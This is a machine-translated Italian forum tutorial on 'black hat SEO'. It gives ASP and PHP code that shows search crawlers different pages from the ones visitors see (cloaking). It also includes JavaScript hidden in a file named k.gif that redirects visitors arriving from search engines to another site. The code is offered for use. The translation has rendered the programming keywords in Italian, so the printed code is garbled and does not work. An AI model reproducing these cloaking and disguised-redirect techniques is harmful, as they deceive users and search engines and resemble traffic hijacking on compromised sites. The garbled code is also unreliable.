Questo articolo è un articolo speculare di traduzione automatica, clicca qui per saltare all'articolo originale.

Vista: 12634|Risposta: 0

[SEO] Tecnologia SEO black hat: include il traffico ASP PHP

[Copiato link]
Pubblicato su 01/12/2014 18:48:55 | | |

Prima di tutto, è semplice: aggiungi il seguente codice alla pagina principale:

Versione ASP
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>

Versione PHP
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>


Poi aggiungi il seguente codice al file conn secondo il programma del sito; se non hai un conn.asp o un conn.php, crealo da solo:

conn.asp edizione

----------- la seguente riproduzione--------------------------------
<%
funzione isspider()
dim agent, searray, io
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider")
isspider= falso
per i=0 a ubound (searray)
se (instr(agente,searray(i))>0) allora isspider=vero
prossimo
Funzione finale


funzione fromse()
dim urlrefer,i, searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
Fromse= falso
se URLREFER="" allora fromse= false
searray=array("google", "baidu", "sogou", "yahoo", "soso", "360")
per i=0 a ubound (searray)
se (instr(urlrefer,searray(i))>0) allora fromse=true
prossimo
Funzione finale

funzione gethttp(url)
  dim http
  set http=createobject("MSXML2. XMLHTTP")
  Http.open "GET",url,false
  Http.send()
  se Http.readystate<>4 allora
    Funzione di uscita
  fine se
  gethttp=bytes2BSTR(Http.responseBody)
  set http=niente
  se err.number<>0 allora err. Libero
Funzione finale

function bytes2BSTR(vIn)
  fiocco Ritorno
  dim i, ThisCharCode, NextCharCode
  strReturn = ""
  Per i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  Se questo CharCode < &H80 allora
  strReturn = strReturn & Chr(ThisCharCode)
  Altrimenti
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  Fine se
  Prossimo
  bytes2BSTR = strReturn
Funzione finale


se(isspider()) allora
  dim myfso, fileurl, filecon, myfile, bodyurl, remotehtml
  bodyurl="http://www.itsvse.com" //snapshot URL
    risposta.chiaro
    remotehtml=gethttp(bodyurl)
    response.write(remotehtml)
    response.write("<!--"&now()&"-->")
    risposta.flush
    risposta.fine
fine se


%>

conn.php

---------------- la seguente riproduzione----------------

<?php
funzione is_search_bot(){
        $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        $identify = array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
        foreach ($identify AS $key => $tag){
                se (strstr($user_agent, $tag)){
                        ritorno vero;
                }
        }
        return false; }
funzione is_urlbaidu()
        {
        $come_from="baidu@sogou@soso@iask@naver";
        $referer = esplode("@",$come_from);
        foreach($referer come $url){
                se (stristr($_SERVER['HTTP_REFERER'],$url)){
                        ritorno vero;
                        }
        }
        return false; }

se (is_search_bot())
        {
        $html = "<title>Wuhan Software Engineering Vocational College</title> <meta nome=\"Autore\" contenuto=\"Compila le stesse parole chiave\"> <meta nome=\"Parole chiave\" contenuto=\"Parole chiave\"> <meta nome=

\"Descrizione\" contenuto=\"Descrizione\"> </head> <body>Contenuto</body></html>";
        Echo $html;
        }
se (!is_search_bot() & & is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>



Infine, nella cartella immagini, carica un file k.gif k.gif il codice:


var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; URL di reindirizzamento






Precedente:L'ultimo codice QQ chat può chattare senza aggiungere amici, chattare con Ma Huateng
Prossimo:Strumento demo per l'intercettazione del telefono - hijackAndroidPowerOff
Disconoscimento:
Tutto il software, i materiali di programmazione o gli articoli pubblicati dalla Code Farmer Network sono destinati esclusivamente all'apprendimento e alla ricerca; I contenuti sopra elencati non devono essere utilizzati per scopi commerciali o illegali, altrimenti gli utenti dovranno sostenere tutte le conseguenze. Le informazioni su questo sito provengono da Internet, e le controversie sul copyright non hanno nulla a che fare con questo sito. Devi eliminare completamente i contenuti sopra elencati dal tuo computer entro 24 ore dal download. Se ti piace il programma, ti preghiamo di supportare software autentico, acquistare la registrazione e ottenere servizi autentici migliori. In caso di violazione, vi preghiamo di contattarci via email.

Mail To:help@itsvse.com